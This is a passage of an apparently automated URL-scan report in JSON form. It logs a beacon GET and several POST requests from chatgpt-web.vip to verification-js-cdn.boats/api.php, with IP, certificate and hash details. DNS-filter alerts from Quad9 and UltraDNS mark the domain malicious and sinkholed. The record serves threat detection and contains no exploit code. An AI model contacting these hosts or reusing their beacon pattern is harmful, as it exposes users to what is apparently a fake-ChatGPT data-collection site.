HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:05 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":114,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":114,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php?k=65eea44dce7b9e74c17103bbf62b607d942446563bf06f36\u0026d=nin5lEl%2FOPHzc959ikW8E0AHmOUpjuK42ROtHDIEpw4Ehq%2FP40sJcUOcFGSVYitv7iIq8YAeHXV4rkVMcw71NgdzgBp%2BzoNMDxaVH4G%2BpOUx8mrAtSpiOdondNNrGn%2BFXB6leEQBfDN%2FiQfhN9LFnGaBtJs%3D","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:16:53.581Z","timestamp":1781399813581,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"GET /api.php?k=65eea44dce7b9e74c17103bbf62b607d942446563bf06f36\u0026d=nin5lEl%2FOPHzc959ikW8E0AHmOUpjuK42ROtHDIEpw4Ehq%2FP40sJcUOcFGSVYitv7iIq8YAeHXV4rkVMcw71NgdzgBp%2BzoNMDxaVH4G%2BpOUx8mrAtSpiOdondNNrGn%2BFXB6leEQBfDN%2FiQfhN9LFnGaBtJs%3D HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:16:53 GMT\r\ncontent-type: image/gif\r\ncontent-length: 43\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache, must-revalidate\r\npragma: no-cache\r\nstrict-transport-security: max-age=31536000\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":43,"size_decoded":416,"mime_type":"image/gif","magic":"GIF image data, version 89a, 1 x 1","md5":"b4491705564909da7f9eaf749dbbfbb1","sha1":"279315d507855c6a4351e1e2c2f39dd9cd2fccd8","sha256":"4e0705327480ad2323cb03d9c450ffcae4a98bf3a5382fa0c7882145ed620e49","sha512":"b8d82d64ec656c63570b82215564929adad167e61643fd72283b94f3e448ef8ab0ad42202f3537a0da89960bbdc69498608fc6ec89502c6c338b6226c8bf5e14","ssdeep":"","tlshash":"c5900403d140d041c351c0300d0cc740174471304514030f70fc175dfc353510c13000","first_seen":"2023-04-05T09:54:56Z","last_seen":"2026-09-21T12:20:24.629313Z","times_seen":104438,"resource_available":true,"data":null}},"time_used":293,"timings":{"blocked":0,"dns":0,"connect":93,"send":0,"wait":103,"receive":0,"ssl":97},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:16:58.829Z","timestamp":1781399818829,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:16:58 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":112,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":112,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:00.451Z","timestamp":1781399820451,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:00 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":107,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":107,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:02.065Z","timestamp":1781399822065,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:02 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":111,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":111,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:11.828Z","timestamp":1781399831828,"http_version":"HTTP/2","security_state":"","security_info":null,"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:11 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":0,"size_decoded":0,"mime_type":"text/plain; charset=utf-8","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-09-21T12:48:33.167431Z","times_seen":18583610,"resource_available":true,"data":null}},"time_used":0,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":0,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null}],"urlquery":null}}]}